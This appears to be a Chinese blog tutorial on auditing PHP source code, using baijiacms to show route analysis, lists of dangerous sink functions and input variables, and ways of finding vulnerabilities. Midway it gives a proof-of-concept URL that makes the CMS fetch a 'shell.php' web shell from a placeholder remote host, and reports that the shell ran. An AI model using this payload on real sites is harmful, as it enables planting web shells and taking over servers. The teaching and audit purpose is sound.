工具
这里我使用的是seay源代码审计系统
下载传送门
路由分析
什么是路由?
一个网站有许多不同的功能点,就像路由器一样知道这个网络的走向是在哪里。分析好路由走向有助于更好审计代码
如何发现路由
部分开发人员的写法,是将路由配置信息写入到一个文件中,便于对源码进行分析,我们也可以利用这点。
1.搜索关键字眼
如有关路由的信息

2.查看include文件下的文件
安全过滤文件或者文件配置信息都有可能在这个文件夹下

在这里可以发现在这个文件在这个目录下使用了自定义函数来保护应用程序的安全。

irequestsplite()是自定义函数,用于处理输入的数据,防止跨站脚本攻击(XSS)。
function irequestsplite($var) { // 该函数接受一个变量 $var
if (is_array($var)) { // 如果 $var 是一个数组
foreach ($var as $key => $value) { //就遍历它的每个元素
$var[htmlspecialchars($key)] = irequestsplite($value);
//然后使用 htmlspecialchars() 函数将特殊字符转换为 HTML 实体,以防止 HTML 代码注入和 XSS 攻击
}
} else {
$var = str_replace('&', '&', htmlspecialchars($var, ENT_QUOTES));
}
return $var; //最后将转换后的值重新赋值给数组的相应键名
}
3.了解访问的url与网站目录的关系
当路由信息相关的文件没有找到时,也可以尝试理解开发人员的思路。比如,url中的变量接受指向的是哪个文件,这样浏览页面的时候就清晰的知道是哪个关键文件
这里以baijiacms的登录页面为例,可以看见url中的三个接受变量不知道是什么意思

?mod=mobile&act=public&do=index&beid=1
我们可以利用这三个接受变量值的名称, mobile、public、index 当作关键字眼,这时候来到网站目录的文件中翻一下。可以发现这些接受值都和箭头指向的框框的文件名一模一样,果然是存在规律。

登录后台页面,进一步分析 site、manager、store这三个关键字
?mod=site&act=manager&do=store&op=display&beid=1

再次翻看网站目录的文件名发现除了web,剩下两个都符合

这时候修改url,将site改为web进行访问,发现没有任何报错信息,证明了开发人员就是这样访问文件的功能点
?mod=web&act=manager&do=store&op=display&beid=1

我们知道了只要是url中的接受值都是在system目录下中的文件进行主要的作用,这意味着代码审计这个baijiacms 可以主要把重点放到这个目录上
框架
上面讲述的是无框架的情况,在有框架情况下,它的函数文件集合(各种方法function)会比较规整,通常路由分析的时候总是在某些固定文件夹中。
审计思路
目前比较主流的设计模式是MVC,即多层模型(M)、视图(V)、控制器(C),在此不多赘述,php的主流框架几乎都使用了MVC设计模式。
面对有框架的情况下,我们只需要参考对应框架的写法即可,不过一般使用框架的开发都很安全,除非开发者,一半按着框架固定写,另一半不按。通常只需要检测开发者是否规范按官方语言框架的编写即可
关于框架审计思路可以参考这篇:
https://www.anquanke.com/post/id/265092#h2-3
挖掘技巧
从代码方向进行审计:
寻找自定义函数-> 审计自定义函数的代码 ->审计使用自定义函数的代码是否有可控变量 -> poc
寻找敏感函数 -> 审计使用敏感函数的代码 -> 该代码的变量是否可控 -> poc
寻找自定义变量 -> 审计变量是否可控 -> 是否能执行特定的函数功能 -> poc
从功能点进行审计:
浏览页面 -> 找到相关页面的源码进行审计
从代码方向进行审计
定位自定义函数
比如我想搜索有关上传操作的函数,可以看见开发者自定义的函数

进去之后审计这个自定义函数,可以发现并没有进行任何过滤

这时候可以寻找使用这个函数的相关代码,使用这个函数的代码都可能存在漏洞,右键点击全局搜索进行查找
可以发现刚好就只有个一个文件使用了这个函数功能,点击进去审计

在这里可以看见url的接受变量,那么我们可以在这里进行构造poc

至于为什么mod还有do的接受变量是这个,就不在赘述了,前面讲解过了
poc如下:
?mod=web&m=public&op=fetch&do=file&url=http://xx.xx.xx.xx/shell.php
上传恶意的远程文件

可以看见成功执行

定位敏感函数
搜索相关的恶意函数,然后进行反向溯源审计代码即可,思路和上面的一样
一些相关的恶意函数
//命令执行
system
passthru
exec
system
shell_exec 或者 `(反引号)
eval
assert
call_user_func
call_user_func
//文件包含
include
require
require_once
include_once
//sql
关键字:select,insert,update,mysql_query,mysqli
mysql_query
odbc_exec
mysqli_query
mysql_db_query
mysql_unbuffered_query
mysqli::query
用法
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");
$mysqli->query();
//文件读取&SSRF
file_get_contents
readfile //同file_get_contents
file //把整个文件读入一个数组中
fopen/fread/fgets/fgetss /fgetc/fgetcsv/fpassthru/fscanf
simplexml_load_file //读取文件作为XML文档解析
simplexml_load_string //加载解析XML字符串 有可能存在XXE 漏洞
parse_ini_file // 读取并解析一个ini配置文件
highlight_file/show_source
//文件操作
file_put_contents //将一个字符串写入文件
move_uploaded_file //将上传的临时文件移动到新的位置
rmdir //删除目录
unlink //删除文件
copy //复制
mkdir //创建目录
//xxs
echo
print_r
定位可控变量
从代码的变量检查是否可控,然后进行反向溯源,审计用户的输入是否有害,能执行功能的函数又是什么
一些相关的接受变量
$_GET or $HTTP_GET_VARS
$_POST or $HTTP_POST_VARS
$_REQUEST
$_SERVER // 服务器信息 环境变量 用户传入的http头和uri路径等信息
$_FILES $HTTP_POST_FILES //包含 用户上传文件信息 文件内容 原文件名 临时文件名 大小 等信息
$_COOKIE $HTTP_COOKIE_VARS // 包含 用户传入的HTTP头中的Cookies kv值
php://input$HTTP_RAW_POST_DATA // 包含 用户POST请求中BODY 的完整数据 常见用法 file_get_contents('php://input');
从功能点进行审计
了解网站的功能的方向
根据程序的源码的一个应用方向的原理进行判断,如果网站偏向于社交那么就存在数据交互注入和跨站多一点,如文件操作类的漏洞,就有上传和下载的功能点,那么可能存在文件上传,下载,包含,删除的漏洞。这时候审计功能点对应的代码,尝试挖掘是否存在漏洞
完全审计代码
一般不推荐,时间长,代码功底好的当我没说
总结
代码审计,首先要看懂开发人员的思路,其次要看懂代码的走向,最后考虑如何绕过或利用可控变量和恶意函数。

4791

被折叠的 条评论
为什么被折叠?



